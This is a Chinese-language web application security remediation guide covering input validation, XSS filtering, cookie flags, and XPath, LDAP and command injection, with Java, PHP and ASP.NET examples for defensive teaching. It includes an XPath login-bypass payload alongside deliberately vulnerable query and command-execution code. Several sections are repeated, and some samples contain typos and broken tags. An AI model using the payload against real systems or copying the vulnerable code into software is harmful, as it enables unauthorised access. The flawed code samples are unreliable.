通常情况下,“Servlet 容器”会返回与响应状态码或异常相对应的缺省错误页面。可以使用定制错误页面来指定状态码或异常与 Web 资源之间的映射。好的做法是开发不会泄露内部错误状态的静态错误页面(缺省情况下,大部分 Servlet 容器都会报告内部错误消息)。该映射配置在“Web 部署描述符(web.xml)”中,如以下示例所指定:
<!-- Mapping of HTTP error codes and application exceptions to error pages -->
<error-page>
<exception-type>UserValidationException</exception-type>
<location>/errors/validationError.html</error-page>
</error-page>
<error-page>
<error-code>500</exception-type>
<location>/errors/internalError.html</error-page>
</error-page>
<error-page>
...
</error-page>
...
推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:
[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator是 Java 框架,定义如上所述的错误处理机制。验证规则配置在 XML 文件中,该文件定义了表单字段的输入验证规则以及对应的验证错误密钥。Struts 提供国际化支持以使用资源束和消息格式化来构建本地化应用程序。
使用“Struts 验证器”来验证 loginForm 的 userName 字段的示例:
<form-validation>
<global>
...
<validator name="required"
classname="org.apache.struts.validator.FieldChecks"
method="validateRequired"
msg="errors.required">
</validator>
<validator name="mask"
classname="org.apache.struts.validator.FieldChecks"
method="validateMask"
msg="errors.invalid">
</validator>
...
</global>
<formset>
<form name="loginForm">
<!-- userName is required and is alpha-numeric case insensitive -->
<field property="userName" depends="required,mask">
<!-- message resource key to display if validation fails -->
<msg name="mask" key="login.userName.maskmsg"/>
<arg0 key="login.userName.displayname"/>
<var>
<var-name>mask</var-name>
<var-value>^[a-zA-Z0-9]*$</var-value>
</var>
</field>
...
</form>
...
</formset>
</form-validation>
Struts JSP 标记库定义了有条件地显示一组累计错误消息的“errors”标记,如以下示例所示:
<%@ page language="java" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<html:html>
<head>
<body>
<html:form action="/logon.do">
<table border="0" width="100%">
<tr>
<th align="right">
<html:errors property="username"/>
<bean:message key="prompt.username"/>
</th>
<td align="left">
<html:text property="username" size="16"/>
</td>
</tr>
<tr>
<td align="right">
<html:submit><bean:message key="button.submit"/></html:submit>
</td>
<td align="right">
<html:reset><bean:message key="button.reset"/></html:reset>
</td>
</tr>
</table>
</html:form>
</body>
</html:html>
[2] JavaServer Faces 技术
“JavaServer Faces 技术”是一组代表 UI 组件、管理组件状态、处理事件、验证输入和支持国际化的 Java API(JSR 127)。
JavaServer Faces API 定义“output_errors”UIOutput 处理器,该处理器显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。
使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
class="myApplication.UserBean" scope="session" />
<f:use_faces>
<h:form formName="loginForm" >
<h:input_text id="userName" size="20" modelReference="UserBean.userName">
<f:validate_required/>
<f:validate_length minimum="8" maximum="20"/>
</h:input_text>
<!-- display errors if present -->
<h:output_errors id="loginErrors" clientId="userName"/>
<h:command_button id="submit" label="Submit" commandName="submit" /><p>
</h:form>
</f:use_faces>
引用
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/Java 正则表达式包 -
http://jakarta.apache.org/regexp/Jakarta 验证器 -
http://jakarta.apache.org/commons/validator/JavaServer Faces 技术 -
http://java.sun.com/j2ee/javaserverfaces/PHP
** 过滤用户输入
将任何数据传给 SQL 查询之前,应始终先使用筛选技术来适当过滤。 这无论如何强调都不为过。 过滤用户输入可让许多注入缺陷在到达数据库之前便得到更正。
** 对用户输入加引号
不论任何数据类型,只要数据库允许,便用单引号括住所有用户数据,始终是好的观念。 MySQL 允许此格式化技术。
** 转义数据值
如果使用 MySQL 4.3.0 或更新的版本,您应该用 mysql_real_escape_string() 来转义所有字符串。 如果使用旧版的 MySQL,便应该使用 mysql_escape_string() 函数。 如果未使用 MySQL,您可以选择使用特定数据库的特定换码功能。 如果不知道换码功能,您可以选择使用较一般的换码功能,例如,addslashes()。
如果使用 PEAR DB 数据库抽象层,您可以使用 DB::quote() 方法或使用 ? 之类的查询占位符,它会自动转义替换占位符的值。
参考资料
http://ca3.php.net/mysql_real_escape_string http://ca.php.net/mysql_escape_string http://ca.php.net/addslashes http://pear.php.net/package-info.php?package=DB** 输入数据验证:虽然为方便用户而在客户端层上提供数据验证,但仍必须始终在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。
一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:[1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是“字符串”)[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是实现一个或多个验证每个应用程序参数的函数。以下部分描述一些检查的示例。
[1] 必需字段“始终”检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:
// PHP example to validate required fields
function validateRequired($input) {
...
$pass = false;
if (strlen(trim($input))>0){
$pass = true;
}
return $pass;
...
}
...
if (validateRequired($fieldName)) {
// fieldName is valid, continue processing request
...
}
[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确。[3] 字段长度“始终”确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。[4] 字段范围
始终确保输入参数是在由功能需求定义的范围内。
[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。[6] 字段模式
始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]+$
[7] cookie 值
适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。
[8] HTTP 响应[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,开发者应通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符:< > " ' % ; ) ( & +
PHP 包含一些自动化清理实用程序函数,如 htmlentities():
$input = htmlentities($input, ENT_QUOTES, ‘UTF-8’);
此外,为了避免“跨站点脚本编制”的 UTF-7 变体,您应该显式定义响应的 Content-Type 头,例如:
<?php
header('Content-Type: text/html; charset=UTF-8');
?>
[8-2] 保护 cookie
在 cookie 中存储敏感数据且通过 SSL 来传输时,请确保先在 HTTP 响应中设置 cookie 的安全标志。这将会指示浏览器仅通过 SSL 连接来使用该 cookie。
为了保护 cookie,您可以使用以下代码示例:
<$php
$value = "some_value";
$time = time()+3600;
$path = "/application/";
$domain = ".example.com";
$secure = 1;
setcookie("CookieName", $value, $time, $path, $domain, $secure, TRUE);
?>
此外,我们建议您使用 HttpOnly 标志。当 HttpOnly 标志设置为 TRUE 时,将只能通过 HTTP 协议来访问 cookie。这意味着无法用脚本语言(如 JavaScript)来访问 cookie。该设置可有效地帮助减少通过 XSS 攻击盗用身份的情况(虽然并非所有浏览器都支持该设置)。
在 PHP 5.2.0 中添加了 HttpOnly 标志。
引用[1] 使用 HTTP 专用 cookie 来减轻“跨站点脚本编制”的影响:
http://msdn2.microsoft.com/en-us/library/ms533046.aspx[2] PHP 安全协会:
http://phpsec.org/[3] PHP 和 Web 应用程序安全博客(Chris Shiflett):
http://shiflett.org/0x02 XPATH 注入
软件未正确对 XML 中使用的特殊元素进行无害化处理,导致攻击者能够在终端系统处理 XML 的语法、内容或命令之前对其进行修改。在 XML 中,特殊元素可能包括保留字或字符,例如“<”、“>”、“"”和“&”,它们可能用于添加新数据或修改 XML 语法。AppScan 发现用户可控制的输入并未由应用程序正确进行无害化处理,就在 XPath 查询中使用。例如,假定 XML 文档包含“user”名称的元素,每个元素各包含 3 个子元素 -“name”、“password”和 “account”。这时下列 XPath 表达式会产生名称为“jsmith”、密码为“Demo1234”的用户的帐号(如果没有这样的用户,便是空字符串):
string(//user[name/text()='jsmith' and password/text()='Demo1234']/account/text())
以下是应用程序的示例(采用 Microsoft ASP.NET 和 C#):
...
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("...");
...
XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr = nav.Compile("string(//user[name/text()='"+TextBox1.Text+"' and password/text()='"+TextBox2.Text+"']/account/text())");
String account=Convert.ToString(nav.Evaluate(expr));
if (account=="")
{
// name+password pair is not found in the XML document - login failed.
...
}
else
{
// account found -> Login succeeded. Proceed into the application
...
}
使用此类代码时,攻击者可以注入 XPath 表达式(非常类似 SQL 注入),例如,提供以下值作为用户名:
' or 1=1 or ''='
此数据会导致原始 XPath 的语义发生更改,使其始终返回 XML 文档中的第一个帐号。
这意味着虽然攻击者未提供任何有效用户名或密码,但仍将登录(作为 XML 文档中列出的第一个用户)。
威胁影响:可能会访问存储在敏感数据资源中的信息
产生原因:未对用户输入正确执行危险字符清理
缓解修复:
假设所有输入都是恶意的。使用黑名单和白名单的适当组合以确保系统仅处理有效和预期的输入。
Asp.Net
您可以使用验证控件,将输入验证添加到“Web 表单”页面。验证控件提供适用于所有常见类型的标准验证的易用机制 - 例如,测试验证日期是否有效,或验证值是否在范围内 - 以及进行定制编写验证的方法。此外,验证控件还使您能够完整定制向用户显示错误信息的方式。验证控件可搭配“Web 表单”页面的类文件中处理的任何控件使用,其中包括 HTML 和 Web 服务器控件。
为了确保用户输入仅包含有效值,您可以使用以下其中一种验证控件:
a. “RangeValidator”:检查用户条目(值)是否在指定的上下界限之间。 您可以检查配对数字、字母字符和日期内的范围。
b. “RegularExpressionValidator”:检查条目是否与正则表达式定义的模式相匹配。 此类型的验证使您能够检查可预见的字符序列,如社会保险号码、电子邮件地址、电话号码、邮政编码等中的字符序列。
重要注意事项:验证控件不会阻止用户输入或更改页面处理流程,它们只会设置错误状态,并产生错误消息。程序员的职责是,在执行进一步的应用程序特定操作前,测试代码中控件的状态。
有两种方法可检查用户输入的有效性:
1. 测试常规错误状态:
在您的代码中,测试页面的 IsValid 属性。该属性会将页面上所有验证控件的 IsValid 属性值汇总(使用逻辑 AND)。如果将其中一个验证控件设置为无效,那么页面属性将会返回 false。
2. 测试个别控件的错误状态:
在页面的“验证器”集合中循环,该集合包含对所有验证控件的引用。然后,您就可以检查每个验证控件的 IsValid 属性。
J2EE
** 输入数据验证:虽然为了用户的方便,可以提供“客户端”层的数据验证,但必须在“服务器”层(也就是 Servlet)执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。
一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:[1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是“字符串”)[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是将以上例程作为“验证器”实用程序类中的静态方法实现。以下部分描述验证器类的一个示例。
[1] 必需字段“始终”检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。
以下是如何验证必需字段的示例:
// Java example to validate required fields
public Class Validator {
...
public static boolean validateRequired(String value) {
boolean isFieldValid = false;
if (value != null && value.trim().length() > 0) {
isFieldValid = true;
}
return isFieldValid;
}
...
}
...
String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
// fieldValue is valid, continue processing request
...
}
[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确。使用 Java 基本包装程序类,来检查是否可将字段值安全地转换为所需的基本数据类型。
以下是验证数字字段(int 类型)的方式的示例:
// Java example to validate that a field is an int number
public Class Validator {
...
public static boolean validateInt(String value) {
boolean isFieldValid = false;
try {
Integer.parseInt(value);
isFieldValid = true;
} catch (Exception e) {
isFieldValid = false;
}
return isFieldValid;
}
...
}
...
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
// fieldValue is valid, continue processing request
...
}
好的做法是将所有 HTTP 请求参数转换为其各自的数据类型。例如,开发者应将请求参数的“integerValue”存储在请求属性中,并按以下示例所示来使用:
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
// convert fieldValue to an Integer
Integer integerValue = Integer.getInteger(fieldValue);
// store integerValue in a request attribute
request.setAttribute("fieldName", integerValue);
}
...
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
...
以下是应用程序应处理的主要 Java 数据类型(如上所述):
- Byte
- Short
- Integer
- Long
- Float
- Double
- Date
[3] 字段长度“始终”确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。以下是验证 userName 字段的长度是否在 8 至 20 个字符之间的示例:
// Example to validate the field length
public Class Validator {
...
public static boolean validateLength(String value, int minLength, int maxLength) {
String validatedValue = value;
if (!validateRequired(value)) {
validatedValue = "";
}
return (validatedValue.length() >= minLength &&
validatedValue.length() <= maxLength);
}
...
}
...
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
if (Validator.validateLength(userName, 8, 20)) {
// userName is valid, continue further processing
...
}
}
[4] 字段范围
始终确保输入参数是在由功能需求定义的范围内。
以下是验证输入 numberOfChoices 是否在 10 至 20 之间的示例:
// Example to validate the field range
public Class Validator {
...
public static boolean validateRange(int value, int min, int max) {
return (value >= min && value <= max);
}
...
}
...
String fieldValue = request.getParameter("numberOfChoices");
if (Validator.validateRequired(fieldValue)) {
if (Validator.validateInt(fieldValue)) {
int numberOfChoices = Integer.parseInt(fieldValue);
if (Validator.validateRange(numberOfChoices, 10, 20)) {
// numberOfChoices is valid, continue processing request
...
}
}
}
[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。以下是针对允许的选项列表来验证用户选择的示例:
// Example to validate user selection against a list of options
public Class Validator {
...
public static boolean validateOption(Object[] options, Object value) {
boolean isValidValue = false;
try {
List list = Arrays.asList(options);
if (list != null) {
isValidValue = list.contains(value);
}
} catch (Exception e) {
}
return isValidValue;
}
...
}
...
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
// valid user selection, continue processing request
...
}
[6] 字段模式
始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]*$
Java 1.3 或更早的版本不包含任何正则表达式包。建议将“Apache 正则表达式包”(请参阅以下“资源”)与 Java 1.3 一起使用,以解决该缺乏支持的问题。以下是执行正则表达式验证的示例:
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
...
public static boolean matchPattern(String value, String expression) {
boolean match = false;
if (validateRequired(expression)) {
RE r = new RE(expression);
match = r.match(value);
}
return match;
}
...
}
...
// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
// userName is valid, continue processing request
...
}
Java 1.4 引进了一种新的正则表达式包(java.util.regex)。以下是使用新的 Java 1.4 正则表达式包的 Validator.matchPattern 修订版:
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
...
public static boolean matchPattern(String value, String expression) {
boolean match = false;
if (validateRequired(expression)) {
match = Pattern.matches(expression, value);
}
return match;
}
...
}
[7] cookie 值使用 javax.servlet.http.Cookie 对象来验证 cookie 值。适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。
以下是验证必需 cookie 值的示例:
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
// find the "user" cookie
for (int i=0; i<cookies.length; ++i) {
if (cookies[i].getName().equals("user")) {
// validate the cookie value
if (Validator.validateRequired(cookies[i].getValue()) {
// valid cookie value, continue processing request
...
}
}
}
}
[8] HTTP 响应
[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,开发者应通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符:< > " ' % ; ) ( & +
以下为以下示例通过将敏感字符转换为其对应的字符实体来过滤指定字符串:
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
...
public static String filter(String value) {
if (value == null) {
return null;
}
StringBuffer result = new StringBuffer(value.length());
for (int i=0; i<value.length(); ++i) {
switch (value.charAt(i)) {
case '<':
result.append("<");
break;
case '>':
result.append(">");
break;
case '"':
result.append(""");
break;
case '\'':
result.append("'");
break;
case '%':
result.append("%");
break;
case ';':
result.append(";");
break;
case '(':
result.append("(");
break;
case ')':
result.append(")");
break;
case '&':
result.append("&");
break;
case '+':
result.append("+");
break;
default:
result.append(value.charAt(i));
break;
}
return result;
}
...
}
...
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
Java Servlet API 2.3 引进了“过滤器”,它支持拦截和转换 HTTP 请求或响应。
以下为使用 Validator.filter 来用“Servlet 过滤器”清理响应的示例:
// Example to filter all sensitive characters in the HTTP response using a Java Filter.
// This example is for illustration purposes since it will filter all content in the response, including HTML tags!
public class SensitiveCharsFilter implements Filter {
...
public void doFilter(ServletRequest request,
ServletResponse response,
FilterChain chain)
throws IOException, ServletException {
PrintWriter out = response.getWriter();
ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
chain.doFilter(request, wrapper);
CharArrayWriter caw = new CharArrayWriter();
caw.write(Validator.filter(wrapper.toString()));
response.setContentType("text/html");
response.setContentLength(caw.toString().length());
out.write(caw.toString());
out.close();
}
...
public class CharResponseWrapper extends HttpServletResponseWrapper {
private CharArrayWriter output;
public String toString() {
return output.toString();
}
public CharResponseWrapper(HttpServletResponse response){
super(response);
output = new CharArrayWriter();
}
public PrintWriter getWriter(){
return new PrintWriter(output);
}
}
}
}
[8-2] 保护 cookie
在 cookie 中存储敏感数据时,确保使用 Cookie.setSecure(布尔标志)在 HTTP 响应中设置 cookie 的安全标志,以指导浏览器应该使用安全协议(如 HTTPS 或 SSL)发送 cookie。
以下为保护“用户”cookie 的示例:
// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol
Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure(true);
response.addCookie(cookie);
推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:
[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 实施所有以上数据验证需求,是强大的框架。这些规则配置在定义表单字段的输入验证规则的 XML 文件中。在缺省情况下,Struts 支持在使用 Struts“bean:write”标记撰写的所有数据上,过滤 [8] HTTP 响应中输出的危险字符。可通过设置“filter=false”标志来禁用该过滤。
Struts 定义以下基本输入验证器,但也可定义定制的验证器:
required:如果字段包含空格以外的任何字符,便告成功。
mask:如果值与掩码属性给定的正则表达式相匹配,便告成功。
range:如果值在 min 和 max 属性给定的值的范围内((value >= min) & (value <= max)),便告成功。
maxLength:如果字段长度小于或等于 max 属性,便告成功。
minLength:如果字段长度大于或等于 min 属性,便告成功。
byte、short、integer、long、float、double:如果可将值转换为对应的基本类型,便告成功。
date:如果值代表有效日期,便告成功。可能会提供日期模式。
creditCard:如果值可以是有效的信用卡号码,便告成功。
e-mail:如果值可以是有效的电子邮件地址,便告成功。
以下是使用“Struts 验证器”来验证 loginForm 的 userName 字段的示例:
<form-validation>
<global>
...
<validator name="required"
classname="org.apache.struts.validator.FieldChecks"
method="validateRequired"
msg="errors.required">
</validator>
<validator name="mask"
classname="org.apache.struts.validator.FieldChecks"
method="validateMask"
msg="errors.invalid">
</validator>
...
</global>
<formset>
<form name="loginForm">
<!-- userName is required and is alpha-numeric case insensitive -->
<field property="userName" depends="required,mask">
<!-- message resource key to display if validation fails -->
<msg name="mask" key="login.userName.maskmsg"/>
<arg0 key="login.userName.displayname"/>
<var>
<var-name>mask</var-name>
<var-value>^[a-zA-Z0-9]*$</var-value>
</var>
</field>
...
</form>
...
</formset>
</form-validation>
[2] JavaServer Faces 技术
“JavaServer Faces 技术”是一组代表 UI 组件、管理组件状态、处理事件和输入验证的 Java API(JSR 127)。
JavaServer Faces API 实现以下基本验证器,但可定义定制的验证器: validate_doublerange:在组件上注册 DoubleRangeValidator
validate_length:在组件上注册 LengthValidator
validate_longrange:在组件上注册 LongRangeValidator
validate_required:在组件上注册 RequiredValidator
validate_stringrange:在组件上注册 StringRangeValidator
validator:在组件上注册定制的 Validator
JavaServer Faces API 定义以下 UIInput 和 UIOutput 处理器(标记):
input_date:接受以 java.text.Date 实例格式化的 java.util.Date
output_date:显示以 java.text.Date 实例格式化的 java.util.Date
input_datetime:接受以 java.text.DateTime 实例格式化的 java.util.Date
output_datetime:显示以 java.text.DateTime 实例格式化的 java.util.Date
input_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)
output_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)
input_text:接受单行文本字符串。
output_text:显示单行文本字符串。
input_time:接受以 java.text.DateFormat 时间实例格式化的 java.util.Date
output_time:显示以 java.text.DateFormat 时间实例格式化的 java.util.Date
input_hidden:允许页面作者在页面中包括隐藏变量
input_secret:接受不含空格的单行文本,并在输入时,将其显示为一组星号
input_textarea:接受多行文本
output_errors:显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息
output_label:将嵌套的组件显示为指定输入字段的标签
output_message:显示本地化消息
以下是使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
class="myApplication.UserBean" scope="session" />
<f:use_faces>
<h:form formName="loginForm" >
<h:input_text id="userName" size="20" modelReference="UserBean.userName">
<f:validate_required/>
<f:validate_length minimum="8" maximum="20"/>
</h:input_text>
<!-- display errors if present -->
<h:output_errors id="loginErrors" clientId="userName"/>
<h:command_button id="submit" label="Submit" commandName="submit" /><p>
</h:form>
</f:use_faces>
引用
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/Java 正则表达式包 -
http://jakarta.apache.org/regexp/Jakarta 验证器 -
http://jakarta.apache.org/commons/validator/JavaServer Faces 技术 -
http://java.sun.com/j2ee/javaserverfaces/PHP
** 输入数据验证:虽然为方便用户而在客户端层上提供数据验证,但仍必须始终在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。
一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:[1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是“字符串”)[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是实现一个或多个验证每个应用程序参数的函数。以下部分描述一些检查的示例。
[1] 必需字段“始终”检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:
// PHP example to validate required fields
function validateRequired($input) {
...
$pass = false;
if (strlen(trim($input))>0){
$pass = true;
}
return $pass;
...
}
...
if (validateRequired($fieldName)) {
// fieldName is valid, continue processing request
...
}
[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确。[3] 字段长度“始终”确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。[4] 字段范围
始终确保输入参数是在由功能需求定义的范围内。
[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。[6] 字段模式
始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]+$
[7] cookie 值
适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。
[8] HTTP 响应[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,开发者应通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符:< > " ' % ; ) ( & +
PHP 包含一些自动化清理实用程序函数,如 htmlentities():
$input = htmlentities($input, ENT_QUOTES, 'UTF-8');
此外,为了避免“跨站点脚本编制”的 UTF-7 变体,您应该显式定义响应的 Content-Type 头,例如:
<?php
header('Content-Type: text/html; charset=UTF-8');
?>
[8-2] 保护 cookie
在 cookie 中存储敏感数据且通过 SSL 来传输时,请确保先在 HTTP 响应中设置 cookie 的安全标志。这将会指示浏览器仅通过 SSL 连接来使用该 cookie。
为了保护 cookie,您可以使用以下代码示例:
<$php
$value = "some_value";
$time = time()+3600;
$path = "/application/";
$domain = ".example.com";
$secure = 1;
setcookie("CookieName", $value, $time, $path, $domain, $secure, TRUE);
?>
此外,我们建议您使用 HttpOnly 标志。当 HttpOnly 标志设置为 TRUE 时,将只能通过 HTTP 协议来访问 cookie。这意味着无法用脚本语言(如 JavaScript)来访问 cookie。该设置可有效地帮助减少通过 XSS 攻击盗用身份的情况(虽然并非所有浏览器都支持该设置)。
在 PHP 5.2.0 中添加了 HttpOnly 标志。
引用[1] 使用 HTTP 专用 cookie 来减轻“跨站点脚本编制”的影响:
http://msdn2.microsoft.com/en-us/library/ms533046.aspx[2] PHP 安全协会:
http://phpsec.org/[3] PHP 和 Web 应用程序安全博客(Chris Shiflett):
http://shiflett.org/0x03 LDAP 注入
如果在用户可控制的输入中没有对 LDAP 语法进行除去或引用,那么生成的 LDAP 查询可能会导致将这些输入解释为 LDAP 而不是普通用户数据。这可用于修改查询逻辑以绕过安全性检查,或者插入其他用于修改后端数据库的语句,可能包括执行系统命令。
缓解修复:
[1] 策略:库或框架
使用不允许此弱点出现的经过审核的库或框架,或提供更容易避免此弱点的构造。
[2] 策略:参数化
如果可用,使用自动实施数据和代码之间的分离的结构化机制。这些机制也许能够自动提供相关引用、编码和验证,而不是依赖于开发者在生成输出的每一处提供此能力。
[3] 策略:环境固化
使用完成必要任务所需的最低特权来运行代码。
[4] 策略:输出编码
如果在有风险的情况下仍需要使用动态生成的查询字符串或命令,请对参数正确地加引号并将这些参数中的任何特殊字符转义。
[5] 策略:输入验证假定所有输入都是恶意的。使用“接受已知善意”输入验证策略:严格遵守规范的可接受输入的白名单。拒绝没有严格遵守规范的任何输入,或者将其变换为严格遵守规范的内容。不要完全依赖于通过黑名单检测恶意或格式错误的输入。但是,黑名单可帮助检测潜在攻击,或者确定哪些输入由于格式严重错误而应直接拒绝。
0x04 远程代码注入
技术描述:
Web 应用程序使用操作系统呼叫来执行本机图像,以扩展它们的功能或运行旧版代码。
不用说,直接抵达这些呼叫的用户输入当然极危险,因为如此一来,恶意用户便可以使用应用程序主机的凭证来运行本机代码,甚至造成彻底的系统伤害。
传播到共享库装入方法(如 Java 的 java.lang.Runtime.loadLibrary)中的用户输入也同样危险,也应该避免。
即便用户只控制图像参数,未控制要装入的图像,也必须采取预防措施,因为执行者(如命令 Shell)可能会允许命令绑定或管道任务。
此外,还需要留意“路径遍历”问题。 以下是易受攻击的 Java 代码:
static final String isolatedPath = "c:/isolatedEnvironment" String userCmd = request.getParameter("cmd") Runtime run = Runtime.getRuntime(); Process p = run.exec(isolatedPath + "/" + userCmd);
类似的 ASP.NET 示例:
... String cmd = UserCommand.Tex AppDomain currentDomain = AppDomain.CurrentDomain; currentDomain.ExecuteAssembly("c:\\isolatedEnvironment\\" + cmd); ...
在上述示例中,恶意用户可以注入两点(“..”)来隔开单独的环境。
威胁影响:可能会在 Web 服务器上运行远程命令。这通常意味着完全破坏服务器及其内容
产生原因:
用户控制的数据传播到了敏感 API 中
未对用户输入正确执行危险字符清理
缓解修复:
若干问题的补救方法在于对用户输入进行清理。通过验证用户输入未包含危险字符,便可能防止恶意的用户让您的应用程序运行计划外的操作,例如:启用任意 SQL 查询、嵌入运行于客户端的 Javascript 代码、运行各种操作系统命令,等等。
建议过滤出以下所有字符:
[1] |(竖线符号)
[2] & (& 符号)
[3];(分号)
[4] $(美元符号)
[5] %(百分比符号)
[6] @(at 符号)
[7] '(单引号)
[8] "(引号)
[9] \'(反斜杠转义单引号)
[10] \"(反斜杠转义引号)
[11] <>(尖括号)
[12] ()(括号)
[13] +(加号)
[14] CR(回车符,ASCII 0x0d)
[15] LF(换行,ASCII 0x0a)
[16] ,(逗号)
[17] \(反斜杠)
替代补救方案验证未清理的输入是无害的。
以下是好的用户输入验证机制:
[1] 正面验证 -
比对用户输入与已知可接受的值集(白名称列表)、范围或正则表达式。 如果找不到匹配项,就以适当方式拒绝输入。
